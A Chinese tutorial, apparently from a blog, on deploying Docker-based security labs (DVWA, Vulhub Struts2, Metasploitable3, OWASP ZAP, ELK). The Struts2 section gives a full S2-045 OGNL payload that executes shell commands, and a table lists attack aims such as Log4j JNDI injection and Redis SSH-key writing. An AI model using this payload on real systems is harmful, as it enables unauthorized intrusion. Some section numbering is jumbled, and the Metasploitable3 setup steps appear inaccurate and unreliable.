docker --version,若返回版本信息(例如:Docker version 25.0.0, build e758fe5),则说明安装成功。registry-mirrors 字段添加国内镜像地址;{
"registry-mirrors": [
"https://xxxx.mirror.aliyuncs.com", // 替换为你的阿里云镜像加速地址(阿里云官网可免费申请)
"https://hub-mirror.c.163.com",
"https://mirror.baidubce.com"
]
}
| 命令 | 作用说明 | 示例 |
|---|---|---|
| docker pull 镜像名:标签 | 从远程仓库下载指定镜像 | docker pull citizenstig/dvwa |
| docker images | 列出本地所有已存在的镜像 | 显示镜像名称、标签、ID 和占用空间 |
| docker run -d -p 本地端口:容器端口 镜像名 | 以后台模式启动容器,并映射端口 | docker run -d -p 8080:80 citizenstig/dvwa |
| docker ps | 查看当前正在运行的容器 | 展示容器 ID、使用的镜像及端口映射情况 |
| docker ps -a | 查看所有容器(包括已停止的) | 可用于检查历史运行记录 |
| docker stop 容器ID/容器名 | 停止指定的运行中容器 | docker stop abc123 |
| docker start 容器ID/容器名 | 重新启动已停止的容器 | docker start abc123 |
| docker rm 容器ID/容器名 | 删除容器(必须先停止) | docker rm abc123 |
| docker rmi 镜像ID/镜像名 | 删除本地镜像(需确保无关联容器) | docker rmi citizenstig/dvwa |
| docker exec -it 容器ID/容器名 /bin/bash | 进入容器内部执行命令 | docker exec -it abc123 /bin/bash |
docker pull citizenstig/dvwa1. 环境 1:DVWA(Damn Vulnerable Web Application,适合初学者练习Web安全)
启动容器:使用命令 docker run -d -p 8080:80 citizenstig/dvwa,将本地的 8080 端口映射到容器的 80 端口;
访问方式:在浏览器中打开 http://localhost:8080 即可进入应用页面;
登录信息:默认用户名为 admin,密码为 password;
初始化配置:成功登录后,点击 “Create / Reset Database” 按钮以创建数据库,之后便可开始练习。建议将安全等级设置为 “Low”,便于理解漏洞原理。
2. 环境 3:Vulhub(集成多种常见漏洞的实战平台,支持多场景复现)
以 Apache Struts2 S2-045 漏洞为例进行操作:
拉取镜像:执行命令 docker pull vulhub/struts2:2.3.32;
运行容器:通过指令 docker run -d -p 8081:8080 vulhub/struts2:2.3.32 启动服务,将主机 8081 端口映射至容器 8080 端口;
验证启动:访问 http://localhost:8081,若看到 Struts2 的欢迎页面,则表示环境已就绪;
漏洞利用:借助 Burp Suite 发送恶意 payload,实现远程命令执行。例如发送如下OGNL表达式:
%{(#_=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)).(#cmd=‘whoami’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,‘/c’,#cmd}:{‘/bin/bash’,‘-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
3. 环境 2:Metasploitable3(包含大量已知漏洞的渗透测试靶机)
获取项目代码前需安装 git 工具:运行命令 git clone https://github.com/rapid7/metasploitable3.git 下载镜像资源;
进入项目目录:cd metasploitable3;
启动构建脚本(Windows 用户请使用 PowerShell):执行 .\build.ps1,系统将自动下载并配置虚拟机环境,耗时约 10 到 20 分钟;
查看运行状态:使用 docker ps 查看当前运行的容器,找到名为 metasploitable3-ub1404 的实例(基于 Ubuntu 14.04 的漏洞环境),记录其 IP 地址(如 172.17.0.2);
开展测试:在 Kali Linux 中使用 Metasploit 框架对该 IP 发起攻击,例如尝试利用“永恒之蓝”等经典漏洞进行渗透演练。
4. 环境 4:OWASP ZAP(轻量级 Web 应用安全扫描工具,Docker 部署免安装)
下载镜像:运行命令 docker pull owasp/zap2docker-stable 获取最新稳定版;
启动容器:执行以下完整命令启动后台服务:
docker run -d -p 8082:8080 owasp/zap2docker-stable zap.sh -daemon -host 0.0.0.0 -port 8080 -config api.key=123456
其中 api.key 用于后续调用 ZAP 提供的 API 接口;
访问界面:打开浏览器输入 http://localhost:8082,即可进入 OWASP ZAP 的操作界面,开始进行自动化或手动漏洞扫描练习。
5. 环境 5:ELK Stack(日志分析与可视化平台,适用于安全运维实战训练)
部署前提:确保已安装 docker-compose 工具;
克隆项目仓库:执行命令 git clone https://github.com/deviantony/docker-elk.git 获取 ELK 配置文件;
切换工作目录:cd docker-elk;
后续可通过 docker-compose up 启动服务,完成日志收集、分析和展示系统的搭建,用于监控和审计安全事件。

通过执行命令 docker-compose up -d 可自动启动包括 Elasticsearch、Logstash 和 Kibana 在内的整套日志分析环境。
容器运行后,可访问地址 http://localhost:5601 进入 Kibana 界面。在此平台中,用户能够上传测试日志数据,进行日志解析与分析的实践操作,提升实战能力。
| 镜像名称 | 主要用途 | 练习重点 |
|---|---|---|
| citizenstig/dvwa | 适合 Web 安全入门,涵盖 SQL 注入、XSS、文件上传等常见漏洞 | 手动构造注入语句,结合 Burp Suite 抓包并修改请求 |
| rapid7/metasploitable3 | 综合型渗透测试实验环境,包含多种系统及 Web 层漏洞 | 使用 Metasploit 框架进行漏洞探测与利用 |
| vulhub/struts2:2.3.32 | 针对 Apache Struts2 的安全漏洞(如 S2-045)进行复现 | 掌握远程命令执行类漏洞的触发与利用方式 |
| vulhub/log4j:2.14.1 | 复现 Log4j2 核心漏洞 CVE-2021-44228 | 实践 JNDI 注入攻击流程,理解 RCE 原理 |
| owasp/zap2docker-stable | 集成 ZAP 工具的 Docker 镜像,用于自动化 Web 扫描 | 执行自动化漏洞扫描任务,并对结果进行验证分析 |
| elasticsearch:7.14.0 | 模拟 Elasticsearch 服务未授权访问风险场景 | 测试数据泄露、非法读取敏感信息等行为 |
| mysql:5.7 | 用于 MySQL 相关漏洞演练,如弱口令、未授权连接等 | 开展暴力破解尝试与 SQL 注入实战练习 |
| redis:5.0 | Redis 服务常见安全问题,如无密码访问和主从复制漏洞 | 实现未授权访问并尝试写入 SSH 公钥获取服务器权限 |
| nginx:1.18.0 | 复现 Nginx 配置不当引发的安全隐患 | 利用解析漏洞或目录遍历漏洞读取任意文件 |
| node:14.17.0 | Node.js 应用中常见的命令注入与路径遍历漏洞 | 实践远程命令执行与非法文件上传操作 |
技能描述示例:熟练运用 Docker 快速搭建网络安全学习环境,可部署 DVWA、Metasploitable3 等典型漏洞镜像,通过容器化手段高效开展 Web 渗透测试与漏洞复现实训。
项目经验参考:基于 Docker 成功部署 DVWA 和 Vulhub 系列漏洞环境,完成对 SQL 注入、XSS 跨站脚本、Log4j2 远程代码执行等漏洞的实际利用练习,独立撰写 5 篇详细的技术报告,系统积累渗透测试实战经验。
Docker 学习的关键路径为“安装 → 拉取镜像 → 启动容器 → 实战练手”。初学者无需深入掌握复杂的编排技术(如 docker-compose 高级用法),只需熟悉基础命令,并能成功部署至少 5 个常见漏洞环境,即可快速积累实际操作经验,为转型进入网络安全领域打下坚实基础。
欢迎在评论区分享你希望搭建的具体漏洞环境,我们将为你提供详细的部署步骤指导!

扫码加好友,拉您进群



收藏
